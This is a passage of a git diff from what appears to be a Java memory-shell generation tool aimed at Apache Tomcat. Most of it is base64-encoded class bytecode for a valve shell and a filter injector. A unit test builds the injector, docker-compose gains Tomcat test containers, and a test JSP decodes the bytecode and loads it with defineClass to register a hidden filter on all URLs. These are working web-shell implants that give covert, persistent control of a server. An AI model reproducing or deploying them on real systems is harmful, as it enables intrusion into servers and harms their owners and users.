AQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALZmx1c2hCdWZmZXIBAA9wcmludFN0YWNrVHJhY2UBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABxvcmcvYXBhY2hlL3V0aWxzL0NvbW1vblZhbHZlBwEQCABMCQERAKcBABAzYzZlMGI4YTljMTUyMjRhCAEUCQERAJkBACAxMUNENkE4NzU4OTg0MTYzNkMzN0FDODI2QTJBMDRCQwgBFwkBEQC6AQAKVXNlci1BZ2VudAgBGgkBEQChAQAEdGVzdAgBHQkBEQCkAQAeTG9yZy9hcGFjaGUvdXRpbHMvQ29tbW9uVmFsdmU7CQERAJ8JAREAoAoBEQCpCgERAKoKAREAkwoBEQCxCgERAMAKAREAwwAhAREARAABAEUABwAEAEYARwAAAAQASABJAAAAAQBKAEsAAAABAEwASwAAAAEATQBLAAAAAQBOAEsAAAABAE8ASwAAAAsAAQBQAFEAAQBSAAAANAACAAEAAAAoKrcAASoTARK1ARMqEwEVtQEWKhMBGLUBGSoTARu1ARwqEwEetQEfsQAAAAAAAQBQAFcAAQBSAAAANQACAAIAAAApKiu3AAIqEwEStQETKhMBFbUBFioTARi1ARkqEwEbtQEcKhMBHrUBH7EAAAAAAAEAWgBbAAEAUgAAAD0ABAACAAAACSorAyu+twADsAAAAAIAUwAAAAYAAQAAACMAVAAAABYAAgAAAAkAVQEgAAAAAAAJAFwAXQABAAEAXgBfAAEAUgAAANgABgAEAAAALBIEuAAFTi0cmQAHBKcABAW7AAZZKrQBFrYACBIEtwAJtgAKLSu2AAuwTgGwAAEAAAAoACkAaQADAGYAAAA8AAP/AA8ABAcBEQcAOwEHAJYAAQcAlv8AAAAEBwERBwA7AQcAlgACBwCWAf8AGAADBwERBwA7AQABBwBpAFMAAAAWAAUAAAAoAAYAKQAjACoAKQArACoALABUAAAANAAFAAYAIwBgAGEAAwAqAAIAYgBjAAMAAAAsAFUBIAAAAAAALABkAF0AAQAAACwAZQBJAAIAAQBqAGsAAQBSAAAALwABAAEAAAAFKrQBIbAAAAACAFMAAAAGAAEAAAAyAFQAAAAMAAEAAAAFAFUBIAAAAAEAbABtAAEAUgAAAD4AAgACAAAABiortQEhsQAAAAIAUwAAAAoAAgAAADcABQA4AFQAAAAWAAIAAAAGAFUBIAAAAAAABgBuAEcAAQABAG8AcAABAFIAAAAvAAEAAQAAAAUqtAEirAAAAAIAUwAAAAYAAQAAADwAVAAAAAwAAQAAAAUAVQEgAAAAAQBxAFEAAQBSAAAAKwAAAAEAAAABsQAAAAIAUwAAAAYAAQAAAEEAVAAAAAwAAQAAAAEAVQEgAAAAAQByAHMAAgBSAAAB6QAFAAcAAAD6Kyq0ARy2ABDGANMrKrQBHLYAECq0AR+2ABKZAMErtgATTisqtAETtgAVuAEjOgQqGQQDtgEkOgQtEhi5ABkCAMcAIS0SGLsBEVkqtgAbtgActwElGQS2ASa5AB8DAKcAeisSIBkEtgAhuwAiWbcAIzoFLRIYuQAZAgDAACS2ACU6BhkGGQW2ACZXGQYZBLYAJlcZBiu2ACZXLLYAJyq0ARkDEBC2ACm2ACoZBrYAK1cstgAnKhkFtgAsBLYBJLgBJ7YAKiy2ACcqtAEZEBC2AC62ACostgAvpwAOKrYBKCssuQAxAwCnABNOLbYAMiq2ASgrLLkAMQMAsQABAAAA5gDpAGkAAwBmAAAAFQAG/QBhBwCsBwA7+QB2AgpCBwBpDwBTAAAAYgAYAAAARwAdAEgAIgBJAC8ASgA4AEsAQwBMAGEATgBpAE8AcgBQAIIAUQCKAFIAkgBTAJkAVACqAFUAsABWAMQAVwDUAFgA2ABaANsAWwDmAGAA6QBdAOoAXgDuAF8A+QBiAFQAAABSAAgAcgBmAHQAdQAFAIIAVgB2AHcABgAiALYAeAB5AAMALwCpAHoAXQAEAOoADwB7AGMAAwAAAPoAVQEgAAAAAAD6AHwAfQABAAAA+gB+AH8AAgCBAAAABgACAIIAgwAJAIQAhQABAFIAAAFJAAYABQAAAHgBTBIzuAA0TSwSNQHAADa2ADcsAcAAOLYAOU4ttgAbEjoEvQAkWQMSO1O2ADctBL0APFkDKlO2ADnAAIxMpwA5ThI+uAA0TSy2ACU6BBkEtgAbEj8EvQAkWQMSO1O2ADcZBAS9ADxZAypTtgA5wACMTKcABToEK7AAAgACAD0AQABpAEEAcQB0AGkAAwBmAAAAKQAD/wBAAAIHADsHAIwAAQcAaf8AMwAEBwA7BwCMAAcAaQABBwBp+QABAFMAAAAyAAwAAABmAAIAaQAIAGoAGwBrAD0AcwBAAGwAQQBuAEcAbwBNAHAAcQByAHQAcQB2AHQAVAAAAEgABwAbACIAhgB3AAMACAA4AIcAiAACAE0AJACGAHcABABHAC0AhwCIAAIAQQA1AIkAYwADAAAAeACKAF0AAAACAHYAiwBLAAEACQCNAI4AAQBSAAABTwAGAAUAAAB+AUwSM7gANE0sEkABwAA2tgA3LAHAADi2ADlOLbYAGxJBBL0AJFkDEoxTtgA3LQS9ADxZAypTtgA5wAA7wAA7TKcAPE4SQrgANE0stgAlOgQZBLYAGxJDBL0AJFkDEoxTtgA3GQQEvQA8WQMqU7YAOcAAO8AAO0ynAAU6BCuwAAIAAgBAAEMAaQBEAHcAegBpAAMAZgAAACkAA/8AQwACBwCMBwA7AAEHAGn/ADYABAcAjAcAOwAHAGkAAQcAafkAAQBTAAAAMgAMAAAAeQACAHwACAB9ABsAfgBAAIYAQwB/AEQAgQBKAIIAUACDAHcAhQB6AIQAfACHAFQAAABIAAcAGwAlAI8AdwADAAgAOwCHAIgAAgBQACcAjwB3AAQASgAwAIcAiAACAEQAOACJAGMAAwAAAH4AigBLAAAAAgB8AIsAXQABAAEAkAAAAAIAkQ=="); + String shellClassName = "org.apache.utils.CommonValve"; + String injectClassName = this.getClass().getName() + "1"; + byte[] bytes = injectorGenerator.generate(TomcatValveInjector.class, injectClassName, shellClassName, shellBytes, "/*"); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(injectClassName, obj.getClass().getName()); + assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); + assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString()); + assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), + ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/integration/tomcat/docker-compose.yaml b/integration/tomcat/docker-compose.yaml index 1c208765..00ea9669 100644 --- a/integration/tomcat/docker-compose.yaml +++ b/integration/tomcat/docker-compose.yaml @@ -1,7 +1,13 @@ services: tomcat8: - image: tomcat:8.5.100-jre8 + image: tomcat:8-jre8 ports: - "8888:8080" + volumes: + - ./test.war:/usr/local/tomcat/webapps/test.war + tomcat10: + image: tomcat:10-jre11 + ports: + - "8810:8080" volumes: - ./test.war:/usr/local/tomcat/webapps/test.war \ No newline at end of file diff --git a/vul-webapp/src/main/webapp/test.jsp b/vul-webapp/src/main/webapp/test.jsp index e2fadeab..e32def27 100644 --- a/vul-webapp/src/main/webapp/test.jsp +++ b/vul-webapp/src/main/webapp/test.jsp @@ -1,22 +1,35 @@ +<%! + public byte[] decodeBase64(String bytecodeBase64) { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + Class base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); + } catch (Exception ee) { + try { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); + } catch (Exception e) { + return null; + } + } + } +%> + <% ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try{ classLoader.loadClass("org.junit.cq.DateUtil").newInstance(); }catch (Exception e){ - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - String bytecodeBase64 = "yv66vgAAADQB9woAGwETCgCEARQLARUBFgsBFwEYCwEXARkJARoBGwgBHAoBHQEeCgCEAR8HASAKAAoBEwoACgEhCAEiCgAKASMKAAoBJAoAhAElBwEmCAEnCAEoCAEpCgAXASoIASsHASwHAS0KABcBLgoAFwEvBwEwCgExATIHAKwIATMIATQKABsBNQgBNgcBNwoAIgETBwE4CgAkATkHAToKACYBOwoAJgE8CgAiAT0KACIBPgoAFwE/BwFACgAXAUEKACwBQgoBQwFECgFDAUUKAIQBRgoAFwFHCgExAUgKABgBSQoBMQFKCgAXAUsHAUwKADcBQgoBMQFEBwFNBwFOCgA6AU8KADsBQgcBUAoAPgETBwFRCAFSCgCEAVMHAOsKAEABSAgBVAoAGAFVCAFWCgCEAVcIAVgIAOQHAVkKAEsBWgsBWwEWCgBLAUUKABcBSAgBXAsBFQFdCAFeCgBAAV8KABcBJAgBYAgBYQgBYggAjQoAOwFjCgBAAWQKABcBZQoAhAFmCgBhAWcKAIQBaAoAhAFpCgCEAWoHAWsIAPQJAWwBbQoBbAFuBwFvCgEdAXAIAXEKABgBcgoAGAFzCgCEAXQKAIQBdQgBdggBdwgBeAgBeQgBegoAFwF7CAF8CAF9CAF+CAF/CAGACAGBCgCEAYIIAYMKABcBhAgBhQgBhggBhwoBiAFECgGIAYkIAQUHAYoLAIEBiwoAEQGMBwGNCgCEARMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEABHRoaXMBAENMY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3I7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAJExqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADVN0YWNrTWFwVGFibGUHAY0HAY4HAY8HASYBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAxnZXRDbGFzc05hbWUBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zBwGQAQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEADGRlY29kZXJDbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAHZGVjb2RlcgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAOY29tcHJlc3NlZERhdGEBAAJbQgEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQcBNwcBOAcBOgEADWdldEZpZWxkVmFsdWUBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHZhcjUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEABHZhcjABAAR2YXIxAQAEdmFyMgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAR2YXIzBwGRBwEsBwFAAQAMaW52b2tlTWV0aG9kAQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQcBkgEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXZhbHVlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAANvYmoBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAFY2xhenoBAAZtZXRob2QBAAl0ZW1wQ2xhc3MHAZMHATAHAS0HANMHANUHAM0HAUwHAU0BAApnZXRDb250ZXh0AQASKClMamF2YS91dGlsL0xpc3Q7AQAEa2V5MQEACGNoaWxkcmVuAQATTGphdmEvdXRpbC9IYXNoTWFwOwEAA2tleQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwcBUQcBWQEACVNpZ25hdHVyZQEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAJZ2V0RmlsdGVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAtkZWZpbmVDbGFzcwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsHAWsHAW8BAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAljbGFzc05hbWUBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAKZmlsdGVyTmFtZQEAI1tMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47BwEDBwGUBwGVAQARZ2V0Q2F0YWxpbmFMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQwAhgCHDADhAOIHAY4MAZYBlwcBjwwBmAGZDAGaAZsHAZwMAK0BnQEAFj09PT09PT09PT09PT09PT09PT09PT0HAZ4MAZ8BoAwA8QDyAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAaEBogEAB2lzIGhlcmUMAaEBowwBpACaDAD9AP4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQACLyoBAAABABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAGlAaYBAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nDAGnAagMAakBmwEAEGphdmEvbGFuZy9PYmplY3QHAZMMAaoBqwEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyDAGsAa0BAAZkZWNvZGUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0MAIYBrgEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtDACGAa8MAbABsQwBsgGzDAG0AbUMAbYBtwEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgwBuAGtDACGAaAHAZEMAbkBugwBuwDyDADFAMkMAbwBvQwBvgCaDAG/AcAMAcEBwgwBwwGoAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAcQAmgEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwwAxQC6AQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgwBxQHGAQAGdGFyZ2V0DAC5ALoBAAZ0aGlzJDABABFqYXZhL3V0aWwvSGFzaE1hcAwBxwHIBwHJAQAPU3RhbmRhcmRDb250ZXh0DAHKAcABABVUb21jYXRFbWJlZGRlZENvbnRleHQMAcsBDwEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIBAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyAQAJcmVzb3VyY2VzDACGAcwMAc0BzgwBzwEPDACbAJoMAdABpgwAnACaDACfAKAMAKkAqgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcB0QwB0gCiDAHTAdQBABNqYXZhL2xhbmcvVGhyb3dhYmxlDAGfAdUBAAEuDAHWAdcMAdgB2QwBDgEPDAD5APoBAA1maW5kRmlsdGVyRGVmAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlck1hcAEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlckRlZgEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlck1hcAwBpQHaAQANc2V0RmlsdGVyTmFtZQEADnNldEZpbHRlckNsYXNzAQAMYWRkRmlsdGVyRGVmAQANc2V0RGlzcGF0Y2hlcgEAB1JFUVVFU1QBAA1hZGRVUkxQYXR0ZXJuDACZAJoBADBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDb25maWcMAdsB3AEADXNldFVSTFBhdHRlcm4BABJhZGRGaWx0ZXJNYXBCZWZvcmUBAAxhZGRGaWx0ZXJNYXAHAd0MAakB3gEADWphdmEvdXRpbC9NYXAMAd8B4AwB4QCHAQBBY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3IBAA5qYXZhL3V0aWwvTGlzdAEAEmphdmEvdXRpbC9JdGVyYXRvcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAUoW0IpVgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABHJlYWQBAAUoW0IpSQEABXdyaXRlAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClbQgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB2dldE5hbWUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAApnZXRNZXNzYWdlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAANhZGQBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBAA5nZXRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQALbGFzdEluZGV4T2YBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAD0oTGphdmEvbGFuZy9TdHJpbmc7WkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAHG9yZy9qdW5pdC9qdXBpdGVyL0luamVjdFV0aWwHAeIKAeMBFAoB4wEfCgHjASUBAB5Mb3JnL2p1bml0L2p1cGl0ZXIvSW5qZWN0VXRpbDsBAB1vcmcuYXBhY2hlLnV0aWxzLkNvbW1vbkZpbHRlcggB6AEPaEg0c0lBQUFBQUFBQUFLVllDWHdjVlIzK1huYXpNOWxNRDdibk5pM1FPL2UyYVJMU0pDMDVHbWhLbWhaU2kwMjlKcHRKc3UxbWQ3czdtellWMFIrSWlIamdiYXNvVmFSZVNLdDAwMUFvOVFKRlZFUlVCTy83Rm05UnBINXZabmE3dTltMCtPT1g1RjMvNC8zZi8vamVtenp5L0gybkFkU0xSaSs2Y0lkc2pzam13eW8rNHNXZCtLaUN1MHF3Q0VlOTJJaVBlZUhCeCtYeUoyVHpTUVdmVW5DM2drOUxqbnRLTVFQSDVPaTQ1UDJNbkg1V1R1K1ZveE5lamxLeW1WQnhzaFNUdUUvQktTODI0SDR2VnVBQlNUa2ltOU9TOXFDS00xTHFRUVdmODJJWjdsRHdlY24yQlFWZlZQQWxCUTk1VVk2SHBmaVhTekVUWDVIN1BDSzMvYW9YaitKcmt2QjFLZmdOcWZJeFNmaG1LUjdIdDFROElmVjhXOFYzRkh4WERwOVU4RDB2bnNMVEtyNnZvRi9CRHhUOFVNV1BWUHhZeFU5VS9GVEZ6MVQ4WE1FdkZQeFN3TFhYR0JmdzllelJ4L1JBV0k4TUIvck1lQ2d5M0NMZ2p1bUpCRGxHQnhzRXZDT0dQbWpFZS9WUlE2RFVudXpVdzBuT1BLMmhTTWpjU003eWlwMFU2NHdPY25WV1R5aGk5Q1pIQjR6NERuMGdiTWhOb2tFOXZGT1BoK1RjV1hTYkl5RnVzcUVuR0IwTnhBMTlqNTZJUmdMU212M0dRR0RVR0UwWTRYREFqSTRHZFRNd0hCMDhHQXFIOWNDVnp1Q0tVTmcwNHJSMVVYbldDVHJETkx3bktrMXNrUmFKZ3dJTHBxR1RlclhBdlBMZEhSWDVIS1FWQlFmWTdPNFFLT2tMRFVkME14bW56UXNMY2JkV2JwVEtEZ2dvSlBkWFNDRVJwR3FMOFVBZ0dCK1BtZEZBWnlnMlltM3JIdFBqOVdteXJhZnJRTkNJbWFGb1JDcWlVOFFvLy9vRlp2U1plbkR2VmoxbStZeHBwdUJYVEZVQmRUQnFlMEJnZDdtelQ4S0lqNFVOTTlCbjk5Y1krNUpHd215WmpwcUlSU01KSTU5c2ErMGMwVU1SMjRORHVUbXliV0NQRVRTbG1YUkh0dXV2TVliQ3BJVEdqRzB4STY3THcyU2Z5cVBINDl1U3BzQWx0a3dvR3VnWU40MzJlRndmNTNvc2FUTDdESDJVckVyQ1NDUW9KWEJwbm5FanBoa0xiR2JUWjNOSVp3N3FwaTR3TTVGemFJR0x6KzhVWm1raTF4RnB5NmIzbEVCeFVQcEZvT3c4VHFQOThiUVJxNmUzUDg4YU5aNHhJeitjVTRVY2V4VDhXc0Z2RlB6V1JpNEZ2eVBHS1BnOUM1OVZtM0YrUXNFZkZQeVJycExGeW1QbWIrQllINDBNaFlhdG1HdERXU3NDaTgvSHorTU84Z2p4S0xGRUc5QVRSbU45VnlSbzRjRDh2R0xKd0l0aVdCek1YWTh0SVhCUmdSS1VkZExJSWh4Z1FSU1AyWWd6UHhkSnhtTnBOSmxicUNxSmZ4bXJOaGxwcTZhYVpKVXN6K0ZZNWUyTEp1TkJnK2NrLzV4Y3hLbVZ3aHEyb2xjMk96VDhDYzhRLzlxNytsaWFHdjZNdjlERE9YV2ZpQmxCNWxJd2JwaFhHZU45bkdtNEVwczEvQlYva3pyK3J1RlcvRVBEUC9FdjdsWUFFd1JXdnFBMEVsajF3akpIdzFWeS8yZnhidzA5Y3ZRZlBLZmh2M2hlUTdlY25wV0U5K01ER2w2T1Y5QXhNWDA4VE14a2dtbXNleUhROGlJZ1d4TkZ3cVVKdHlqV2NDMWVxZ21QVU9qeW1CN25CVU02Zzcza3ZBakIwczBMdFNaVVVVSzBPTGZjSFVtWWVzUU01Y0pRTGtzNGJBenI0Zlpna0ZpU3hiSW9DOUtTVkRGcVpJaU1sdkJxb2xSb21wZ2habXJZUW0rSldXSzJJaTdTaEUvTTBjUmNNVThUODJWZ2I4UGJKVzBCNjFQREhyRlFZTGJVWEpzMFErSGFEaXNsTmVFWGkzajJZY1BzU2xlRWIvZVVTdEJFbVZqTTFOZzlGWVlWc1VRVEY0dExDSUIyVGUySTJpbnQ3SmJObkxPVTVwcWZTRVpxUjBPSllHMUhlMTlYdW5abFpScE9GVXZyTnFVcnd6T1lycUk4dVF5SFpuTjBKSWVHNUhSZXdidVg1Vm9JVXB6MHo3c3hDVURuZzNJblhhYUZiUUgvdEdETmErTDhGNHhUVWhlKzRhWm9jcXpJWXBpVHp1cnViVm1ycFlQR0VKOUxsblA0VmlGa2RuY1hlbytVTWd4MlZnZDVwSXBDSURiTmMwT2xwQ3drcW5lWFcwZ25keWtndjFOU3VtMUN3Z2dtNHlGelBFRElzaWlLZkhCRTlEQnpRTUs2OVRDaTRzMkdIYzlWMHhxVWgvMXFNQm94NlhwYVU1YnpjaHZSNDMweW9qeGZTMFcvblhlWktDd3JyN2p3VTBDanhQWTBqTmpUZHBQN0RpUk40OElXWmg0MjBsOU9PT2FVRndyRnpEUkRPcG45VTlreWIwd3RrV1BGNmdKV1REVkNPcncwWXV3L0YvQzU1UVZ0WFppdGJzZElQTHBmM29hV3ZJZk8xTU1KK2NJdHNFRy9IYjVyR1dONWdnVnA5VXpQN1RUS0lYQ0hra1J5SUpFR2kvTGMzTXdFZFU0QldkN1orK1VnejRDc1pGUE5ERmpsSGkranQ5U01acTRBcWFmdzdtMHY3Z0Zz